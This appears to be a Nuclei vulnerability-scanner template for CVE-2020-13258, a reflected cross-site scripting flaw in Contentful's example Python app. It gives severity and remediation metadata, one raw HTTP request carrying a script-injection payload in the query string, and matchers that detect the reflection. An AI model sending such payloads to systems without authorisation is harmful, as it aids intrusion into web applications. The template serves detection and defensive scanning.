54 lines
1.9 KiB
YAML
54 lines
1.9 KiB
YAML
id: CVE-2020-13258
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info:
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name: Contentful <=2020-05-21 - Cross-Site Scripting
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author: pikpikcu
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severity: medium
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description: |
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Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.
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reference:
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- https://github.com/contentful/the-example-app.py/issues/44
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- https://nvd.nist.gov/vuln/detail/CVE-2020-13258
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2020-13258
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cwe-id: CWE-79
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epss-score: 0.00464
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epss-percentile: 0.7492
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cpe: cpe:2.3:a:contentful:python_example:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: contentful
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product: python_example
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tags: cve,cve2020,contentful,xss
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http:
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- raw:
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- |
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GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "{'api': '"
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- "</script><script>alert(document.domain)</script>',"
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 490a00463044022027c5f2643bd4cd615440112890d0d23c6b5ac5613534bf20e9b6c3f6e67fdac90220773833d83834dbacee963a6c0ea63557e73c73e473d68647ce026eb13c287f16:922c64590222798bb761d5b6d8e72950 |